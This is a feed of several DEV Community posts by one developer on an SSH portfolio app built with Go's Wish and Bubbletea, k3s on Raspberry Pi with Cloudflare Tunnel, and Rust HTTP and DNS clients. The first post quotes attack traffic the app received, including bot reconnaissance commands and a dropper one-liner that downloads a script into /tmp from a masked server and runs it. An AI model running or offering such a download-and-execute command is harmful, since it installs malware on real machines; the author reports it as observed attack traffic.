DEV Community: hiro

Here is what happened when I exposed my SSH app

hiro — Mon, 06 Oct 2025 00:00:00 +0000

As I wrote in the previous post, now I have an SSH app that's been running for a month. The good thing is, I have lots of visitors to it. And the bad thing is - unfortunately none of them is an actual user 🥲

My SSH app is under attack.

It's no problem. The app talks in SSH protocol over the network - but it doesn't allow attackers to gain the actual shell at all. (The app is run on a distroless image container that has minimum security vulnerability exposure)

Messages I Got

So what does the attacks look like? Let me share some of the hello messages I received.

echo IoT_ACCESS_VERIFIED

This is the message I've received the most. What does this even mean? Well, it just displays IoT_ACCESS_VERIFIED literally, only when on success. As you may realize this is probably sent by bots. And when the attempt succeeded, the bot will tell its owner it found a new target. Is this a defacto-standard echo command in the bot community? Or there might be a well-known program written for this purpose in Go.

The list has many messages that have similar purpose:

whoami
true
pwd
hostname

Let's see what other messages look like:

uname -s -m
uname -a

I have never used uname personally. The command is used to identify the OS and CPU architecture as well as their version. It should be used to find out vulnerable servers with obsolete OS version on the internet I guess. It's a bit scary thinking about having a website been unmaintained for years...

mount | head - 5

This lists devices currently mounted on the server you're in. Why this command? No idea.

netstat -tulpn 2>/dev/null | grep LISTEN | head -20

This one linear above will display the first 20 port number listening on. Cool.

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;rm sMLuxc.sh;wget http://<server_name>/sMLuxc.sh || curl -O http://<server_name>/sMLuxc.sh || /bin/busybox wget http://<server_name>/sMLuxc.sh; chmod 777 sMLuxc.sh;./sMLuxc.sh

This one is the most aggressive one I have ever received. It downloads a malicious script and run it. Interesting... (I masked the IP address to the site so that no one accidentally visit the site.)

One More Thing

They come to my app all the way down from all over the world at least. So I send the following code as a welcome message back to my visitors 😊

aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kRlVsQVFaQjlOZwo=

It should be too easy for them. But I hope they like it 😉

This Is How I Deploy My SSH App

hiro — Fri, 12 Sep 2025 15:16:56 +0000

I put my SSH app on the internet.

Yes, I admit that I am highly inspired by Terminal.shop. It really is a great product and stimulates my creativity.

So, what to do with SSH? Here are my initial thoughts:

SSH app should be faster than web app - it only sends blocks of Unicode characters over TCP (no JavaScript, no images, etc.)
And because of that, it would be more difficult to make visually rich apps like ones with React or Vue - at the same time, it would be more visually appealing to those who love retro style/ascii art/terminal.
Exposing SSH app to the internet (still) sounds scary 😨

Bubbletea and Wish

Bubbletea is a great TUI framework for Go, built by Charm. It is so easy to use and has a lot of features. I have been using it for a while in my site projects and also at work. I really like it. It's also a good way to learn about how it's like to build an app with the Elm architecture. Go itself doesn't have good mutation stories in my opinion, and sometimes I'm confused about how to manage state in a Bubbletea app. After all bubbletea is a great way to make a TUI app in Go. Although it doesn't have informative API docs, its GitHub repository provides a number of example codes that are very helpful.

Wish is a framework for building SSH apps. And since it's also built by Charm, it's so easy to integrate with Bubbletea.
The framework itself is very similar to web frameworks like I have used in the past. So if you are like and know routing, middleware, etc. The barrier to entry is very low.

My app

I created a simple portflolio app with the libraries above. If you are interested in it, open your terminal and run the following command:

ssh ssh.hiro.one -p 23234

For the first time, you shold be asked to add thwe host to your known_hosts (that's how SSH works my friend) so please hit "yes". If you want to exit from the app, just hit Ctrl+c, Esc, or q.

As I mentioned above, building an app with Wish is very similar to building web one. But building a Bubbletea app is a bit different from the one with React. I spent a month to get it working and I still have no idea how to fill the inside of a textarea in contact form 🥲. I'll figure it out later anyway.

Deployment

So I have this Raspberry pi 4 device at my house that runs Dokploy on it + Cloudflare Tunnel to expose my apps. This set up enables me to avoid paying for any cloud infra (I want to achieve this for free). My initial idea was to run my brand-new SSH app on top of my Dokploy and expose it over Cloudflare Tunnel. But it turns out that Cloudflare Tunnel doesn't support TCP protocol (only HTTP/HTTPS). Technically you can use the tunnel to expose SSH server, but it becomes browser-based SSH app, which is not what I want.

So I had to seek other cheaper way to expose my SSH app to the internet (ideally for free). After days of research, I have concluded that GCP Compute Engine with e2-micro instance (which is free forever if you are within the free tier limit) is the way to go. Technically I need to pay for its storage fee monthly. But I could't find any other cheaper way to achieve my goal (exposing my home server is not allowed by my ISP).
At the moment, my idea was to put a VM on GCP and use it as an SSH reverse proxy, then I reverse SSH from my home server to the VM then expose arbitrary TCP port.

Here is a diagram that depects my initial plan:

User ----> |   VM    | ----> | SSH bridge ---->     SSH app   |
                                                 -- Dokploy --
            -- GCP --         -- HOME ------------------------

However, I had a few issues with this setup.

Latency Issue

GCP Compute Engine free-tier is only available for a server in the US region. And I live in Tokyo. So there is a definite distance between the two locations that causes this latency. In my case my SSH request goes all the way from Tokyo to the US datacenter, it goes to my home server in Tokyo, then my server sends a response data that goes again from the Tokyo, the U.S., and Tokyo. I can see the difference between my local dev server and the one with GCP reverse proxy. It seems it takes 0.3-4 ms to move to one page to another when you hit a key.

me (JP) --> proxy (US) --> app(JP) --> proxy (US) --> me (JP)
---------- request ---------   ---------- response ----------

🤔

You can see terminal.shop also has a similar issue when you visit the app (this is probably negligible for them as their customers are based in the U.S.).

I think it shouldn't be a problem as it's just my hobby project.

Color Issue

My SSH app uses catppuccin as color theme of the entire app. The problem is Docker container, by default, doesn't have TTY enabled, so that my app will be just black and white (of course! Almost all web apps don't need it). You can enable it by providing -t or --tty flag (it allocates a pseudo-TTY).
However, it looks like enabling PTY on Docker container doesn't provide 256-bit color capability. The color I see in the production app is slightly different from what I see in my local development environment. I still don't know how to work this around and wonder how the terminal folks solved this.

One way to solve the color issue is to deploy my app to the VM on GCP (This should also alleviate the latency issue). But this way makes me feel like I'm vulnerable.

Closing Note

So what's my server set up? I run my app as a Docker container on my VM. Basically an app built with Wish framework is not an SSH server, but just a terminal app that communicate with remote client over SSH protocol - meaning there is no way for an attacker to get a shell on my machine (my app doesn't have any way to interact with the shell). Even if my app gets compromised in any way, it's still secure as the container is isolated (+ I use Distroless image, which doesn't have sh/bash).

This is just my hobby project. No one cares about the poor color quality and the slowness.

Anyway, if you are interested in what I have done, you can visit my SSH site. I hope you enjoy it.

Go and Rust comparison - building a task scheduler

hiro — Wed, 23 Oct 2024 20:53:19 +0000

Months ago I found this amazing YouTube video by Jyotinder Singh: How to build a Distributed Task Scheduler with Go, Postgres, and gRPC

It's a project that he built a distributed task scheduler in Go using PostgreSQL and gRPC. The architecture looks very practical compare to other ordinary projects such as pseudo e-commerce site, or todo app (they are also great too). And I thought it would be great if I make my own in Rust.

So here are some things I learned though my version of distributed task scheduler.

Worker Pool Pattern in Go

One way to maximize machine's concurrent capability in Go is to use worker pool pattern. You can spin up a number of workers on start up and send a task to each worker through a channel.

Example Code:

func (w *Worker) Run() error {
    w.startWorkerPool(workerPoolSize)
    w.startGRPCServer()
    log.Println("Serving now...")
    return w.awaitShutdown()
}

func (w *Worker) startWorkerPool(poolSize int) {
    for i := 0; i < poolSize; i++ {
        // spawn workers
        go func() {
            w.wg.Add(1)
            defer w.wg.Done()
            w.process()
        }()
    }
}

func (w *Worker) process() {
    for {
        select {
        case <-w.ctx.Done():
            return
        case t := <-w.taskQueue:
            req := &pb.UpdateTaskStatusRequest{
                TaskId:    t.GetTaskId(),
                Status:    pb.TaskStatus_STARTED,
                StartedAt: time.Now().Unix(),
            }
            w.grpcClient.UpdateTaskStatus(w.ctx, req)
        }
    }
}

This is totally valid code in Go as channel is thread-safe and multiple goroutines can be consumers for a single channel. It is also memory-efficient as it doesn't have to initialize gRPC client each time it receives a new task.

What about Rust?

However, the story is slightly different in async Rust world. The standard library only provides channels that only allow a single consumer. Having a single worker in a poll doesn't make sense at all.

So this time I chose a simpler way to achieve it in async Rust - just spawn a new async task.

Example code in Rust:

#[tonic::async_trait]
impl WorkerService for Worker {
    async fn submit_task(
        &self,
        req: Request<TaskRequest>,
    ) -> Result<Response<TaskResponse>, Status> {
        let req = req.into_inner();
        let response = req.clone().into();
        let addr = self.coordinator_addr.clone();
        // Pass a received task to another async function!
        tokio::spawn(handle_task(req.task_id.clone(), addr));
        // And send a response
        Ok(Response::new(response))
    }
}

async fn handle_task(task_id: String, addr: String) -> Result<(), String> {
    println!("Connecting to gRPC server: {}", addr);
    let mut client = CoordinatorServiceClient::connect(addr.to_string())
        .await
        .map_err(|e| e.to_string())?;
    println!("Created a new gRPC client for coordinator");
    let req = UpdateTaskStatusRequest::start(&task_id)?;
    let _ = client
        .update_task_status(Request::new(req.clone()))
        .await
        .map_err(|e| e.to_string())?;
    // Processing task now...
    Ok(())
}

Two obvious downsides here:

In Rust code, a worker needs to initialize gPRC client and connect to a server each time it receives a request. This is huge disadvantage for a service at scale such as one Rust might get involved.

Do we have alternatives?

Well, there actually is a library called async-channel. This should be the answer for the question. I don't have enough bandwidth to try it now. But I would like to in the near future.

Thanks for reading ✌️

Let's Make a k3s Cluster with Raspberry Pi and Cloudflare Tunnel

hiro — Thu, 15 Aug 2024 13:35:10 +0000

This time I am going to write about how I made my k3s cluster using Raspberry Pi that are accessible from the internet.

I sometimes have this feeling that I want to expose my hobby projects and get some feedbacks from the internet. Leveraging cloud services like AWS should be still a go-to option for most of developers for their hobby projects. But this time I decided to do it in a different way - k3s.

For those who don't know k3s, it's a light weight version of Kubernetes suitable for IoT & Edge devices. One of the advantages of k3s is it's easier to install and make it up and running.

I have three Raspberry Pi devices on my desk (I bought them before Covid 19 pandemic so I don't remember the model - probably Pi 4 Model B (4GB)?). To be honest I have built a k3s cluster using Raspberry Pi devices years ago. But now I relocated myself and the current setup in my house, my ISP doesn't allow me to expose my machine to the internet. So this whole idea seems difficult...

And I found Cloudflare Tunnel. Simply put it's a reverse proxy server that can send HTTPS traffic to servers in a private network. The great thing about Cloudflare Tunnel is I can use it for free.

Honestly I thought only one cloudflared instance can connect to the tunnel before writing this article. But it turns out Cloudflare Tunnel supports multiple cloudflared instances so that you can avoid having single point of failure😯

Without further ado, let's get started!

Prerequisites

Cloudflare account.
Router with LAN cable slports. While this is not necessary as WiFi connection should works fine. But it's preferable for a reason I'll mention later. My ISP has provided me a modem bundled with a router which has 4 LAN cable ports that's good for me.

Set Up Raspberry Pi

The very first step for this project is to have your Raspberry Pi up and running. This also includes SSH set up. If you already have a running one (or more) you can skip this step.
One thing I want to note here is that I personally recommend you to not use WiFi connection, instead utilize wired connection which is more reliable and fast. I occasionally experienced unexpected disconnection and had to reboot my k3s when I had run MetalLB on the cluster, which we won't use it in this project though.

Here is how I setup LAN and SSH connection during OS write:

Download Raspberry Pi Imager and install it on your machine.
Insert a SD card that you want to write the OS image on.
Open Raspberry Pi Imager.
Choose device, OS (Raspberry Pi OS), and Storage (your SD card). DO NOT click NEXT for now.

Open Advanced Options window (Ctrl+Shift+X, or Cmd+Shift+X for macOS).
- In GENERAL tab, change hostname, username/password as you like. Uncheck Configure wireless LAN.
- In SERVICES tab, check Enable SSH and select Allow public-key authentication only
- Hit save.

Back to the main window, hit NEXT and proceed writing an OS image to the SD card.

Once it's done. Insert it to your Raspberry Pi device, connect an Ethernet cable to it, and turn it on. Hopefully your router will detect your tiny device and assign a new IP address to it. If possible you should fix the IP address so that the router will reassign the same IP address to your device when it gets rebooted. Anyway check the newly assigned IP address as we need it for the next instruction.

Now, write down the following configuration in ~/.ssh/config:



Host <device name>
    HostName <IP address for the device>
    User <username>
    IdentityFile <path to your private key>

After that you should be able to SSH to your Raspberry Pi device with the following command:



ssh <device name>

Run Nginx For Testing Purpose

This section is not mandatory. But I like to check if Cloudflare Tunnel works before dealing with k3s.



sudo apt install nginx -y  # Install Nginx
sudo systemctl start nginx # Start Nginx

You should be able to access to the web server from your PC now (in my case, Mac).

DNS Configuration

We need to let Cloudflare Tunnel control your domain that you want to use. If you have one on Cloudflare, you can use it. If you have one on other DNS registrar like me, you need to transfer your domain to Cloudflare.

In my case I chose to use one on my Squarespace account (formally, Google Domain). Here are the instructions to use my domain name on Cloudflare (I believe it's almost the same for all other DNS registrar):

Go to Cloudflare dashboard/Domain Registration/Transfer Domains.
Initiate a new transfer.
Cloudflare will ask you to change the name servers for your domain. So change it.
After a few minutes your domain will show up and be available on Cloudflare.

We don't finish the transfer at this point. But it seems like you can use the domain name for Cloudflare Tunnel and don't have to proceed further procedures. So let me skip that.

Create a Cloudflare Tunnel

Next, head to Cloudflare's dashboard (Zero Trust/ Networks /Tunnels) and create a new tunnel.
You should be able to choose your domain name set up in the previous section.

Then you will be asked to install claredflared on your device. Select Debian for OS, and 64-bit for an architecture, then follow the instructions in the page to install cloudflared on your Raspberry Pi device. Once it's done, hit Next.

In the Public Hostnames tab, enter public hostname info to the form. In the Service section, Select HTTP and localhost (just localhost, with no custom port number for now) Your info should look like below:

Hit Save tunnel.

Run Cloudflared

Now let's SSH your Raspberry Pi and run the following command:



cloudflared login

You will be asked to access URL via a web browser. If success you should see something like below in your Cloudflare dashboard:

Now we are ready. From your PC go to the public URL you registered. You should be able to see the Nginx's default index.html!

Set Up k3s Server

Finally, it's time to deal with our Kubernetes. Quick Start Guide

Let's SSH your Raspberry Pi device. One important thing - by default cgroup is not enabled on Raspberry Pi. So before installing k3s you need to append the following line to /boot/firmware/cmdline.txt.



cgroup_memory=1 cgroup_enable=memory

Also, it's not recommended to have memory swapping enabled:



sudo swapoff --all
sudo systemctl stop dphys-swapfile.service
sudo systemctl disable dphys-swapfile.service

Let's reboot the device now.



sudo reboot

Once it's up again, SSH the device and install k3s.



curl -sfL https://get.k3s.io | K3S_KUBECONFIG_MODE="644" sh -

When it's done. Check to see if your Kubernetes master is working.



kubectl get pods -A

Local kubectl Set Up

It should be useful to kubectl from your local PC to the Raspberry Pi.

First install kubectl on your PC. Here is an example command for macOS:



brew install kubectl

And in order to kubectl to remote k3s cluster, you need to copy /etc/rancher/k3s/k3s.yaml on the k3s master node and place it to your PC (on macOS, the default kubectl config file is ~/.kube/config). Once it's done, open the yaml file and find loopback address and replace it with the IP address of your Raspberry Pi.

Or, you can run the following command:



NODE_IP_ADDRESS=<IP address of you Raspberry Pi>
NODE_NAME=<name of your Raspberry Pi specified in ~/.ssh/config>

# Get config file from the device
scp $NODE_NAME:/etc/rancher/k3s/k3s.yaml ~/.kube/config

# Replace loopback IP address
sed -i '' "s/127\.0\.0\.1/$NODE_IP_ADDRESS/g" ~/.kube/config

Now check if you can get k3s information from your local PC.



kubectl get pods -A

Create a Pod For Testing Purpose

Let's create a new deployment that includes nginx container.
Create a new folder (say test-app) and inside it, create the following yaml file:

deployment.yaml



apiVersion: apps/v1
kind: Deployment
metadata:
  name: test-nginx-deployment
  namespace: default
spec:
  replicas: 2
  selector:
    matchLabels:
      app: test-nginx
  template:
    metadata:
      namespace: default
      labels:
        app: test-nginx
    spec:
      containers:
        - name: nginx
          image: nginx:1.19.2-alpine
          ports:
            - containerPort: 80

service.yaml



apiVersion: v1
kind: Service
metadata:
  name: test-nginx-service
  namespace: default
spec:
  selector:
    app: test-nginx
  ports:
    - protocol: TCP
      port: 80

ingress.yaml



apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: test-nginx-ingress
spec:
  ingressClassName: traefik
  rules:
    - host: hello.0o0o.app
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: test-nginx-service
                port:
                  number: 80

Before creating the deployment above, stop you local Nginx server that we run for the test.

On your local PC, run the command below:



kubectl apply -f test-app

And finally, head over to your URL. You should see nginx's default html page again!

Phew! That's a long way.

For now we still have one k3d node in our cluster. In the next article (hopefully) I am going to write how to add other node to the cluster.

Thanks for reading ✌️

Let's Build HTTP Client From Scratch In Rust

hiro — Thu, 13 Jun 2024 21:45:26 +0000

Previously, we dived into how to make an HTTP parser with no dependencies. In this blog let's extend our knowledge further by building an HTTP client CLI😉

(I call our brand-new CLI fetch, by the way)

It would be very time-consuming if we implemented all the feature requirements for modern HTTP client CLI. Instead let’s just build a simple one that only supports HTTP/1.1 protocol using IPv4 Address (no HTTP/2, 3, and IPv6. Also some features in HTTP/1.1 will be missing).

API Design

Let's first think about how our brand-new CLI will be used. It should be similar to a well-known tool curl. But I like to have an HTTP method as an argument explicitly.
Also we may want to POST data to a server using HTTP body (or not). So we have possibly three arguments passed to the CLI:

HTTP method
URL
HTTP body (Optional)

And here is an example command.

fetch post example.com '{"foo": "bar"}'

Now we can see what our internal API look like. Let's write our main function:

fn main() {
    let mut args = std::env::args();
    let program = args.next().unwrap();
    if args.len() <= 1 {
        display_usage(&program);
        exit(1);
    }
    let method: Method = args.next().unwrap().parse().unwrap();
    let url = args.next().unwrap();
    let body = args.next();
    let client = Client::new(); // Initialize a client
    // Make an HTTP request
    let response = client.perform(method, url, body).unwrap();
    println!("{response}");
}

That's enough now.

DNS Client

Now let's write our client struct and its corresponding method called perform:

pub struct Client {};

impl Client {
    pub fn new() -> Self {
        Self {}
    }
}

impl Client {
    pub fn perform(
        &self,
        method: Method,
        url: String,
        body: Option<String>,
    ) -> Result<String, String> {
        let (protocol, url) = url.split_once("://").unwrap_or(("http", &url));
        let (hostname, url) = match url.split_once('/') {
            Some((hostname, url)) => (hostname, format!("/{url}")),
            None => (url, "/".to_string()),
        };

        // ...!?
    }
}

Finally, I realized we need a way to resolve DNS in our project😓 Don't worry! I have implemented it before.
Let's just copy-and-paste the code for the DNS client from my repository.

HTTP Request

Now we have an HTTP method, a server’s hostname, a URL path, a payload to be sent, and a server’s IP address.

So what to do next? Well we need to create our HTTP request out of some parameters above. Let’s do it.

let request = HTTPRequest::new(method, hostname, &url, body);

In short, our HTTP Request struct looks like below:

#[derive(Debug, Clone)]
pub struct HTTPRequest {
    request_line: RequestLine,
    headers: HTTPHeaders,
    body: Option<String>,
}

impl HTTPRequest {
    pub fn new(method: Method, hostname: &str, url: &str, body: Option<String>) -> Self {
        let request_line = RequestLine::new(method, url);
        let headers: HTTPHeaders = vec![("Host".to_string(), hostname.to_string())].into();
        Self {
            request_line,
            headers,
            body,
        }
    }
}

Once we create an HTTP request, we can serialize and send it to the server via TCP stream:

// Connect to a server
let mut stream = match protocol {
    Protocol::HTTP => TcpStream::connect((addr, 80)).map_err(|e| e.to_string())?,
    Protocol::HTTPS => unimplemented!(),
};
// Send an HTTP request to the server
let request = HTTPRequest::new(method, hostname, &url, body);
let n = stream
    .write(request.to_string().as_bytes())
    .map_err(|e| e.to_string())?;
println!("sent {n} bytes");

HTTP Response

Finally, we can receive HTTP response from the server, and make something processable (our HTTP Response) out of it:

// After sending HTTP request, create a buf reader and get data in it
let reader = BufReader::new(stream);
let response = HTTPResponse::try_from(reader)?;
println!("{:?}", response);

And our HTTPResponse struct should be like below:

#[derive(Debug, Clone)]
pub struct HTTPResponse {
    status_line: StatusLine,
    headers: HTTPHeaders,
    body: Option<String>,
}

impl<R: Read> TryFrom<BufReader<R>> for HTTPResponse {
    type Error = String;

    fn try_from(reader: BufReader<R>) -> Result<Self, Self::Error> {
        let mut iterator = reader.lines().map_while(Result::ok).peekable();
        let status_line: StatusLine = iterator
            .next()
            .ok_or("failed to get status line")?
            .parse()?;
        let headers = HTTPHeaders::new(&mut iterator)?;
        let body = if iterator.peek().is_some() {
            Some(iterator.collect())
        } else {
            None
        };
        Ok(HTTPResponse {
            status_line,
            headers,
            body,
        })
    }
}

We are done! Unfortunately, not really.

Test

When I cargo run it, I found the program doesn’t finish after receiving an HTTP response from the server.

cargo run -- get example.com
// -> this just blocks and never ends...

Why? Our HTTPResponse parser implementation worked in the previous project. So it's supposed to work this time too...

Well, it turned out, in my previous project I tested my HTTPResponse parser using data in a text file. However, in read world HTTP response there is no end of file section. So it turns out we need somehow stop reading the byte stream when we find an empty line.

Here is updated version of my implementation:

impl<R: Read> TryFrom<BufReader<R>> for HTTPResponse {
    type Error = String;

    fn try_from(reader: BufReader<R>) -> Result<Self, Self::Error> {
            // ...
        let mut body = vec![];
        for data in iterator {
            // Break if it's just an empty line
            if data.is_empty() {
                break;
            }
            body.push(data);
        }
        Ok(HTTPResponse {
            status_line,
            headers,
            body: Some(body.join("\n")),
        })
    }
}

Then, let’s try it again.

cargo run -- get example.com
// -> works!

Congratulations!!

However here is another challenge - when I run it for other URL (say, google.com) it again doesn’t finish…

And this is the biggest lesson learned in the project for me.

HTTP/1.1 Persistent Connections

By default, HTTP/1.1 uses persistent connections. This means a single TCP connection can be used to send and receive multiple HTTP requests and responses. This improves efficiency by avoiding the overhead of re-establishing connections for each request.

Many servers, including google.com, use chunked transfer encoding for the body. This encoding allows the server to send the body in chunks of variable size, with each chunk preceded by its size information.

Simply put - some HTTP servers don’t even have an empty line in the HTTP body.

My idea after understanding the cause of the issue was, to read the Content-Length HTTP header, and then read the exact bytes from the byte stream.

So here is my final implementation of HTTPResponse struct:

impl<R: Read> TryFrom<BufReader<R>> for HTTPResponse {
    type Error = String;

    fn try_from(reader: BufReader<R>) -> Result<Self, Self::Error> {
        // The use of .lines() splits the stream by new line (\n, or \r\n).
        // But this makes it impossible to parse HTTP body for us.
        // So instead, leverage .split(b'\n')
        let mut iterator = reader.split(b'\n').map_while(Result::ok).peekable();
        let status_line: StatusLine = iterator
            .next()
            .ok_or("failed to get status line")?
            .try_into()?;
        let headers = HTTPHeaders::new(&mut iterator)?;
        // The length of the HTTP body
        let mut length = headers
            .0
            .get("Content-Length")
            .ok_or("HTTP header doesn't have Content-Length header in it")?
            .parse::<usize>()
            .map_err(|e| e.to_string())?;
        let mut body = vec![];
        for mut data in iterator {
            data.push(b'\n');
            length -= data.len();
            body.push(data);
            if length <= 0 {
                break;
            }
        }
        let body = body.into_iter().flatten().collect::<Vec<u8>>();
        let body = String::from_utf8(body).map_err(|e| e.to_string())?;
        Ok(HTTPResponse {
            status_line,
            headers,
            body: Some(body),
        })
    }
}

And here is the final result:

🎉

Thanks for reading 😉

Let's Build HTTP Parser From Scratch In Rust

hiro — Tue, 04 Jun 2024 21:47:08 +0000

A week ago, I stumbled upon this fantastic article about learning Rust's iterators and pattern matching by building a JSON parser. What really resonated with me was how it explained using Rust's built-in traits. If you're also learning Rust, I highly recommend checking it out!

And now, I want to apply what I learned to other problem.

Well, technically it's not a problem but, you know... anyway I decided to write my own HTTP parser in Rust!

2024-06-06 Update:
I realized that I didn't use some that I learned through the blog post above (say, lexer). So my apologies if I got you disappointed. However I think my version is more performant than that. Enjoy :)

Program Description

In this article we're going to implement two public structs HTTPRequest and HTTPResponse .

You can see the full code here

HTTP Request

So how does our HTTPRequest look like? According to MDN each HTTP request consists of the following elements:

Request line
Headers
And body (this could be empty)

So our HTTPRequest struct should look like as follows:

#[derive(Debug, Clone)]
pub struct HTTPRequest {
    request_line: RequestLine,
    headers: HTTPHeaders,
    body: Option<String>,
}

And the corresponding elements should look like as follows:

#[derive(Debug, Clone)]
pub struct RequestLine {
    method: Method,
    request_target: String,
    http_version: String,
}

#[derive(Debug, Clone)]
struct HTTPHeaders(HashMap<String, String>);

#[derive(Debug, Clone)]
pub enum Method {
    GET,
    POST,
    HEAD,
    OPTIONS,
    DELETE,
    PUT,
    CONNECT,
    TRACE,
}

TryFrom trait

If we implement TryForm trait for our HTTPRequest struct, we can initialize the struct by performing HTTPRequest::try_from(input);.
Or, we could get the same result with input.try_into() (I prefer latter).

Also, our input for the HTTP request should be a byte stream as it comes through TCP socket (or other byte stream producers). So it would be great to have BufReader<T> as a parameter for a method to initialize the struct.

Overall, our HTTPRequest implementation should look like:

impl<R: Read> TryFrom<BufReader<R>> for HTTPRequest {
    type Error = String;

    fn try_from(reader: BufReader<R>) -> Result<Self, Self::Error> {
        let mut iterator = reader.lines().map_while(Result::ok).peekable();
        let request_line = iterator
            .next()
            .ok_or("failed to get request line")?
            .parse()?;
        let headers = HTTPHeaders::new(&mut iterator)?;
        let body = if iterator.peek().is_some() {
            Some(iterator.collect())
        } else {
            None
        };

        Ok(HTTPRequest {
            request_line,
            headers,
            body,
        })
    }
}

It looks clean and tidy :)

And here is an example of other element's implementation under HTTPRequest:

impl FromStr for RequestLine {
    type Err = String;

    fn from_str(s: &str) -> Result<Self, Self::Err> {
        let mut iterator = s.split(' ');
        let method: Method = iterator
            .next()
            .ok_or("failed to get HTTP method")?
            .parse()?;
        let request_target = iterator
            .next()
            .ok_or("failed to get request target")?
            .to_string();
        let http_version = iterator
            .next()
            .ok_or("failed to get HTTP version")?
            .to_string();
        Ok(RequestLine {
            method,
            request_target,
            http_version,
        })
    }
}

HTTP Response

The implementation of HTTPResponse looks almost identical to HTTPRequest - therefore allow me to omit the detail :)

Check to see if it works

I prepare a txt file containing HTTP message in it. So let's try and see if it works as expected:

fn main() {
    let file = std::fs::File::open("examples/request_post.txt").unwrap();
    let reader = BufReader::new(file);
    let request: HTTPRequest = reader.try_into().unwrap();
    dbg!(request);
}

And then run it.

cargo run --example request_get   # GET  request

You should see the output as follows:

Summary

Implementing HTTP parser is definitely easier than JSON. But I learned a lot by making my own from scratch.

Thanks!

Effective Error Handling in Go

hiro — Tue, 28 May 2024 00:00:00 +0000

One part of why I like Go is how it forces me to handle errors. It has panic mechanizm but most of the time a callee returns an error, and a caller handles it.

However in practical cases, returning an error isn't enough to handle for caller. For example, let's imagine we have the following signup http handler:

func HandleSignUp(us UserService) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // ...decode r.body, etc.

        userLoggedIn, err := us.SignUp(userSigningUp)
        if err != nil {
            encodeJson(w, http.StatusBadRequest, Response{ Message: "bad request" })
            return
        }

        // ... respond HTTP 201
    })
}

And here is SignUp method in UserService:

func (s *UserService) SignUp(user *domain.UserSigningUp) (*domain.UserLoggedIn, error) {
    if u, _ := s.repository.Get(user.Email); u != nil {
        return nil, errors.New("user already exists")
    }
    hash, err := bcrypt.GenerateFromPassword([]byte(user.Password), 5)
    if err != nil {
        return nil, err
    }
    udb := user.ToUserInDB(hash, time.Now())
    if err = s.repository.Add(udb); err != nil {
        return nil, err
    }
    return udb.ToLoggedIn(), nil
}

Here is a problem - UserService.SignUp() method could return two kinds of error:

invalid user input error
or, database error

And we want to respond HTTP 400 when the server receives invalid user input, otherwise, HTTP 500.

So, how to do that??

One way to achieve it is to check error message:

userLoggedIn, err := us.SignUp(userSigningUp)
if err != nil {
    if err.Error() == "user already exists" {
        encodeJson(w, http.StatusBadRequest, Response{ Message: "bad request" })
        return
    }
    encodeJson(w, http.InternalServerError, Response{ Message: "internal server error" })
    return
}

This case is somehow straight forward, but obviously not a good solution. For example, the above approach is prone to code update. If we make a change to the error message in UserService.SingUp() we might need to change our HTTP handler too.

One better approach is to implement custom error.

As you might know everything that has Error() method will be regarded as of type error. Also, you can add Is() method to your custom error struct so that you can validate it using errors.Is().

Here is an example of how to implement it:

First let's create our custom error structs:

package util

type AppError struct {
    Status int
    detail string
}

func (e AppError) Error() string {
    return e.detail
}

func (e AppError) Is(target error) bool {
    t, ok := target.(*AppError)
    if !ok {
        return false
    }
    return t.Status == e.Status && t.detail == e.detail
}

var BadRequestError = AppError{Status: 400, detail: "bad Request"}
var InternalServerError = AppError{Status: 500, detail: "internal server request"}

Now, let's update our UserService.SignUp():

func (s *UserService) SignUp(user *domain.UserSigningUp) (*domain.UserLoggedIn, error) {
    if u, _ := s.repository.Get(user.Email); u != nil {
        fmt.Println("invalid user input")
        return nil, util.BadRequestError
    }
    hash, err := bcrypt.GenerateFromPassword([]byte(user.Password), 5)
    if err != nil {
        fmt.Println("error generating new hashed password: ", err)
        return nil, util.BadRequestError
    }
    udb := user.ToUserInDB(hash, time.Now())
    if err = s.repository.Add(udb); err != nil {
        fmt.Println("error storing user data: ", err)
        return nil, util.InternalServerError
    }
    return udb.ToLoggedIn(), nil
}

Here, you can see, instead of returning err, we return util.BadRequestError or util.InternalServerError depending on how we want to handle it. Then, let's update our handler function too:

func HandleSignUp(us UserService) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // ...decode r.body, etc.

        userLoggedIn, err := us.SignUp(userSigningUp)
        if err != nil {
            if errors.Is(err, util.BadRequestError) {
                encodeJson(w, http.StatusBadRequest, Response{
                    Message: "bad request",
                })
            } else {
                encodeJson(w, http.StatusInternalServerError, Response{
                    Message: "internal server error",
                })
            }
            return
        }

        // ... respond HTTP 201
    })
}

Thanks for reading ✌️

Building a Simple DNS Client in Rust

hiro — Sun, 07 Apr 2024 05:00:16 +0000

Hi there.

Previously, I blogged about implementing WebSocket protocol on my own in Go. Since then I love building primitive technology from scratch.
Today we're going to diving into the world of DNS protocol in Rust.
While I won't build a full-fledged DNS server and client (that's a big project!), we'll make a simple DNS client that focuses on A record lookups.

You may find resources like this DNS tutorial that explain DNS concepts more elegantly.
However, my goal is to explore DNS by building a client myself - even if it's a bit rough around the edges, it's a great learning experience!

You can find my code on GitHub

Let's get started!

Wireshark

Before reading RFC document for DNS protocol, I highly recommend you to have Wireshark installed on your machine and see what a simple DNS query for A record looks like.
This network analysis tool will be our best friend!
I personally found it very difficult to understand how one protocol works only by reading RFC.
If you are like me, utilizing Wireshark could help you by showing what the actual byte stream looks like.
So go ahead and install one for your machine accordingyly.

After that, open the tool and start capturing network packets by selecting your active network interface. On my machine (macOS), it's en0:

)

Then open your terminal and hit the following command:

dig @8.8.8.8 A example.com

This command sends your DNS query for example.com with type of A record to Google's DNS server.
And you should be able to see some network traffics in your Wireshark window.
You can stop capturing now by clicking stop button on top left of the window (the red one).
Also go to the filter form on top of the window and type "dns". This will filter out all the packets in the current buffer except ones with DNS protocol.

If your Wireshark windows look like mine, we are ready to check the RFC 🎉

RFC 1035

The next step is to read the protocol specification (It's here).
We don't have to read it the from top to the bottom.
Instead, focus on these key sections:

3.1. Name space definitions

This section explains how DNS labels (parts of a domain like "example" and "com" in "example.com") are encoded.
Let's again consider the domain name example.com:

a word example is the length of 7 in ascii. So in this case we first put 0x07, then example in octet.
a word com is the length of 3 in ascii. So we put 0x03, then the com in octet.
and finally put 0x00 at the end to indicate this is the end of the domain name.

Here is the result of how example.com is encoded:

